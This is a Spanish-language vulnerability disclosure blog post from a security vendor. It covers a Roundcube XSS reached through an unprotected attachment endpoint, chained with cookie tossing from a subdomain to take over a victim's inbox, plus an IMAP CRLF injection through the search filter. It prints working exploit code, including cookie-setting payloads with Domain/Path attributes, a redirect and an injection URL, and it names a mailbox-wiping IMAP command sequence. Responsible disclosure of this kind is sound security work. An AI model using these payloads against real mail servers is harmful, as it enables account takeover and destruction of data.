Aikido

XSS en Roundcube encadenado con 'cookie tossing' para acceso completo a la bandeja de entrada

Escrito por
Jorian Woltjer

Roundcube es el cliente de webmail de código abierto más ampliamente desplegado en el mundo. ¡Recientemente encontramos una vulnerabilidad peligrosa en la aplicación! Es un XSS almacenado que, encadenado con una técnica de 'cookie tossing', otorga a un atacante acceso completo a la bandeja de entrada de una víctima y, desde allí, a cualquier cuenta que utilice esa dirección de correo electrónico para autenticación o recuperación de contraseña.

Descubrimos esto ejecutando nuestros agentes de pentesting de IA contra una instancia local de Roundcube. Todos los hallazgos fueron reportados de manera responsable a Nextcloud, los mantenedores de Roundcube, a través de HackerOne (XSS revelado en #3594137) y parcheado en la versión 1.6.14. 

En este artículo, repasaremos lo que hicimos, cómo nuestros agentes encontraron la vulnerabilidad y cómo una simple inyección HTML podría comprometer completamente la bandeja de entrada de un usuario.

El punto de inyección

Todo ataque tiene un punto de partida. Veamos uno que uno de nuestros agentes detectó para auditar.

Roundcube gestiona el contenido controlado por el usuario de varias formas. Los cuerpos de los correos electrónicos son la superficie más examinada. Estos se desinfectan en gran medida porque se muestran en línea con el resto de la aplicación.

Los archivos adjuntos HTML se renderizan a través de un endpoint separado en mail/get.php, con una Content Security Policy configurada como script-src 'none' para bloquear la ejecución de JavaScript.

Un tercer endpoint, más oculto, gestiona los archivos adjuntos en línea que aún no se han enviado, visibles temporalmente mientras se redacta un correo electrónico. Este es el endpoint que examinaremos. La acción display-attachment gestiona este tipo de solicitudes:

class rcmail_action_mail_attachment_display extends rcmail_action_mail_attachment_upload {
    ...
    public function run($args = []) {
        self::init();

        $rcmail = rcmail::get_instance();
        $file = $rcmail->get_uploaded_file(self::$file_id);

        self::display_uploaded_file($file);

La función self::display_uploaded_file() es donde ocurre la magia. Como rcube_uploads.php muestra, este tipo de archivos adjuntos se devuelven directamente con su tipo de contenido y cuerpo originales, sin desinfección, sandboxing ni Content Security Policy aplicada.

header('Content-Type: ' . $file['mimetype']);
header('Content-Length: ' . $file['size']);

if (isset($file['data']) && is_string($file['data'])) {
    echo $file['data'];
} elseif (!empty($file['path'])) {
    readfile($file['path']);
}

¿Cómo llegamos a este endpoint, se preguntará? Mientras redacta un nuevo correo electrónico en Roundcube, puede adjuntar un archivo al correo electrónico temporal, específicamente un archivo HTML. Le daremos contenido malicioso:

<script>alert(origin)</script>

Después de la subida, al hacer clic en el archivo adjunto se abre una ventana emergente que lo renderiza utilizando la acción get, protegida por una CSP robusta. Este es el camino seguro. Lo interesante es lo que sucede cuando swap _action=get por _action=display-attachment:

Captura de pantalla de la ventana de redacción de Roundcube con un archivo xss.html adjunto. Una ventana emergente muestra el archivo adjunto renderizado a través de la acción get, con un área blanca en blanco donde se ejecutaría el script, bloqueado por la Content Security Policy.
Ver el archivo adjunto a través de la acción get lo renderiza en una ventana emergente en un sandbox con una CSP robusta, bloqueando la ejecución del script.

Tome la URL original para esta visualización:

/?_task=mail&_frame=1&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=get&_extwin=1

Intercambiando _action=get por _action=display-attachment y eliminando algunos parámetros innecesarios, obtiene:

/?_task=mail&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=display-attachment

Esta URL renderiza el mismo contenido, ¡pero sin la CSP! Así, el JavaScript dentro de nuestro HTML se ejecuta, alertando el origen actual y confirmando XSS:

La captura de pantalla muestra una ventana emergente con el ataque, con el texto "mail.target.local:19002 says http://mail.target.local:19002"
¡El ataque funciona!

Esto es un Self-XSS interesante, pero ¿es realmente un problema? Si somos realistas, un usuario normal no va a subir nuestro payload XSS por sí mismo y seguir viéndolo de esta manera tan particular…

Al examinar attachment_upload.php, se observa que una compose_data_ clave de sesión debe establecerse para su usuario actual, y solo ese usuario puede recuperar el adjunto.

public static function init()
{
    self::$COMPOSE_ID = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GPC);
    self::$COMPOSE = null;
    self::$SESSION_KEY = 'compose_data_' . self::$COMPOSE_ID;

    if (self::$COMPOSE_ID && !empty($_SESSION[self::$SESSION_KEY])) {
        self::$COMPOSE = &$_SESSION[self::$SESSION_KEY];
    }

    if (!self::$COMPOSE) {
        exit('Invalid session var!');

Dado que se trata de un adjunto temporal vinculado únicamente a su sesión actual, no hay forma de preparar un payload y que una víctima lo active iniciando sesión en la cuenta del atacante, como vimos con Mailcow. La totalidad de la roundcube_sessid cookie del atacante tendría que copiarse a la víctima. Otra tarea que suena imposible.

Explotación de Self-XSS con Cookie Tossing

El Self-XSS que encontramos parece inexplotable a primera vista. El adjunto está ligado a la sesión, por lo que no hay forma de preparar un payload para una víctima sin entregarle también la cookie de sesión del atacante. Pero el problema aún no ha terminado. Aquí es donde entra en juego el 'cookie tossing'.

En los navegadores, las cookies tienen algunas peculiaridades interesantes, una de las cuales es el Domain=atributo.

> Solo el dominio actual puede establecerse como valor, o un dominio de orden superior, a menos que sea un sufijo público. Establecer el dominio hará que la cookie esté disponible para este, así como para todos sus subdominios.

Las cookies pueden establecerse no solo para el dominio actual, sino también para un dominio padre. Una cookie establecida por sub.example.com con Domain=example.com pasa a estar disponible para cada subdominio bajo example.com, incluyendo otros como other.example.com que no tuvieron nada que ver con su establecimiento. Este tipo de ataque se denomina Cookie Tossing, donde un subdominio escribe cookies que otro subdominio leerá.

Esto significa que todo lo que necesitamos para explotar nuestra vulnerabilidad es control sobre un subdominio en el mismo dominio que el dominio de Roundcube objetivo. A partir de ahí, una vulnerabilidad XSS separada en algo como xss.target.local puede establecer la propiedad document.cookie para escribir cookies con el atributo Domain=target.local atributo. Una vez que esas cookies están configuradas, el navegador de la víctima las enviará a mail.target.local, donde Roundcube cargará la sesión del atacante en lugar de la de la víctima.

Esa sesión tiene el archivo adjunto HTML malicioso listo y esperando. Al dirigir a la víctima a la URL del archivo adjunto, se activa la carga útil XSS dentro del origen de Roundcube, en el navegador de la víctima, sin necesidad de interacción adicional.

En resumen, lo que un atacante debe hacer para explotarlo es:

  1. Iniciar sesión en su propia cuenta, crear un nuevo correo electrónico y adjuntar un archivo HTML malicioso
  2. Copiar el enlace para ver (renderizar) el archivo adjunto y las cookies
  3. Desde un subdominio vulnerable a XSS, establecer los valores de las cookies usando document.cookie con el atributo Domain=apuntando al dominio objetivo.
  4. Redirigir a la víctima al enlace del archivo adjunto. El XSS se activa en el origen de Roundcube.

Así es como se ve en la práctica la carga útil XSS del subdominio, configurando las cookies de sesión y redirigiendo a la víctima a la URL del archivo adjunto

document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local'
location.href = 'http://mail.target.local/?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';

Desde el XSS del subdominio, el resto de la explotación de Roundcube no requiere más interacción del usuario. Toda la seguridad de Roundcube ahora depende de cada subdominio del mismo sitio.

Captura de pantalla de la instancia local y la ventana emergente, que proviene del código de ataque

Acceso completo

La ventana emergente de alerta en la captura de pantalla anterior confirma que el XSS se está ejecutando en el origen de Roundcube, pero por sí solo no demuestra un impacto real. Todavía hay un problema. En este punto, hemos cargado la sesión del atacante en el navegador de la víctima, por lo que cualquier acción realizada se hará en la cuenta del atacante en lugar de la de la víctima. Es excelente para entregar nuestra carga útil, pero no tan bueno para acceder a cosas a las que normalmente no podríamos.

Si observamos el navegador, las cookies en realidad no se reemplazan cuando establecemos una diferente Domain=. ¡Ambas se envían!

Cookie: roundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER

Cuando ambas cookies están presentes, el servidor selecciona la del atacante, ya que aparece en último lugar en la cabecera. En el payload XSS, queremos que se seleccionen las cookies del atacante, mientras que en todos los demás endpoints posteriores, queremos las cookies de la víctima. Afortunadamente, las cookies tienen otro atributo que resuelve perfectamente este problema: Path=.

Al establecer una ruta única como Path=/index.php/xss, que sigue apuntando a la página de inicio, las cookies se enviarán solo cuando esa ruta coincida con el destino de la solicitud. Así, para nuestras solicitudes:

  1. /index.php/xss envía roundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER -> se devuelve el payload del atacante
  2. / envía roundcube_sessauth=VICTIM -> se devuelven los correos electrónicos de la víctima

Solo tenemos que modificar el exploit de JavaScript para establecer este nuevo atributo, y navegar a /index.php/xss después para asegurar que las cookies del atacante se envíen en esta solicitud para nuestro payload, pero después de eso, nuestro XSS es libre de acceder a la cuenta de la víctima.

document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local; Path=/index.php/xss'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local; Path=/index.php/xss'
location.href = 'http://mail.target.local/index.php/xss?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';

En las DevTools, podemos ver cómo se configuran ahora las cookies duplicadas:

Captura de pantalla de la pestaña Aplicación de Chrome DevTools que muestra cuatro cookies para mail.target.local. Dos están delimitadas a la ruta /index.php/xss en .target.local (las cookies del atacante), y dos están delimitadas a la ruta raíz en mail.target.local (las cookies de la víctima).

Aunque las condiciones necesarias para explotar esto (cuenta en Roundcube + XSS de subdominio) son un poco complejas, el impacto potencial de un exploit exitoso es enorme.

El correo electrónico es la forma de autenticación más confiable, ya que muchos sitios web dependen de «enlaces mágicos» para iniciar sesión o recuperar contraseñas. Cuando un atacante tiene acceso a sus correos electrónicos, puede activar este tipo de restablecimientos de contraseña en todos los sitios web a los que tenga el correo electrónico conectado. Luego, puede leer el correo electrónico que envía este servicio para confirmar y obtener acceso a muchas más cuentas.

Remediación

Actualice Roundcube a la versión 1.6.14 o posterior (1.6.x), o 1.5.14 o posterior (1.5.x LTS). Todas las vulnerabilidades reportadas están parcheadas en esta versión. Si utiliza Aikido, las instancias vulnerables de Roundcube se marcan automáticamente en su feed de monitorización de superficie como un hallazgo de riesgo medio.

¿Aún no está en Aikido? Cree una cuenta gratuita para empezar, no se requiere tarjeta de crédito.

Conclusión

Aunque inicialmente parecía una vulnerabilidad XSS trivial, su explotación requirió un poco más de conocimiento sobre cookies y sesiones. Los subdominios del mismo sitio a menudo reciben permisos ligeramente superiores por parte del navegador que los sitios web completamente separados, otra razón para asegurar que todos sus activos estén protegidos.

Esta es una tarea difícil, pero como se muestra aquí, Aikido Attack puede realizar pentests de forma autónoma en aplicaciones web para encontrar este tipo de vulnerabilidades en toda su infraestructura.

Los mantenedores de Roundcube parchearon esta vulnerabilidad en la versión 1.6.14 añadiendo una script-src 'none' Política de Seguridad de Contenido, al igual que el resto de los adjuntos ya tenían. Esto imposibilita la ejecución de JavaScript al devolver HTML arbitrario.

Extra: Inyección CRLF de IMAP a través de CSRF

Durante el mismo pentest, otro agente encontró una segunda vulnerabilidad que nos pareció particularmente interesante. Después de reportarla, resultó ser un duplicado que el Martila Security Research Team también había encontrado. Aun así, nos pareció lo suficientemente interesante como para explicar brevemente los detalles de esta vulnerabilidad aquí.

El /?_task=mail&_action=search el endpoint pasa el parámetro suministrado por el cliente _filter directamente al comando IMAP SEARCH en rcube_imap_generic.php:

if (!empty($criteria)) {
    $params .= ($params ? ' ' : '') . $criteria;
} else {
    $params .= 'ALL';
}
[$code, $response] = $this->execute($return_uid ? 'UID SEARCH' : 'SEARCH', [$params]);

Aunque la función parece separar el comando de sus argumentos, la implementación de execute() simplemente los concatena sin sanitización:

foreach ($arguments as $arg) {
    $query .= ' ' . self::r_implode($arg);
}

Al inyectar un Retorno de Carro y Salto de Línea (CRLF, %0D%0A) caracteres), un atacante puede evadir los parámetros de SEARCH e inyectar comandos IMAP adicionales dentro de la sesión IMAP del usuario autenticado.

Con esto, no solo se pueden buscar correos electrónicos, sino también añadir carpetas, mover correos o eliminar toda la bandeja de entrada, ya que todos estos son comandos IMAP sin procesar.

A continuación se muestra un ejemplo de filtro configurado en ALL%0D%0AX007%20CREATE%20EvilFolder:

http://mail.target.tld/?_task=mail&_action=search&_interval=&_q=imap-inject-test&_headers=subject%2Cfrom&_layout=widescreen&_filter=ALL%0D%0AX007%20CREATE%20EvilFolder&_scope=base&_mbox=INBOX&_remote=1 

Al visitarlo, se envían los siguientes datos a IMAP, con el comando CREATE inyectado que se ejecuta después de la búsqueda:

X006 SEARCH ALL
X007 CREATE EvilFolder

El efecto de esto se puede ver entonces en la interfaz de usuario de Roundcube:

La interfaz de usuario de Roundcube en la pestaña Carpetas, con "EvilFolder" en la parte inferior

Dado que se trata de una simple solicitud GET, visitar el enlace anterior es todo lo que se necesita para ejecutar los comandos. Con ello, un solo clic en un enlace podría eliminar permanentemente todos los correos electrónicos (X001 UID STORE 1:* FLAGS \Deleted seguido de X002 EXPUNGE), lo que resultaría en una gran pérdida de datos.

Esta vulnerabilidad ya está parcheada mediante la eliminación de \r\n caracteres de las consultas de búsqueda.

Compartir:

https://www.aikido.dev/blog/roundcube-xss-cookie-tossing

Escanear en busca de malware

Empieza gratis
Sin tarjeta
4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.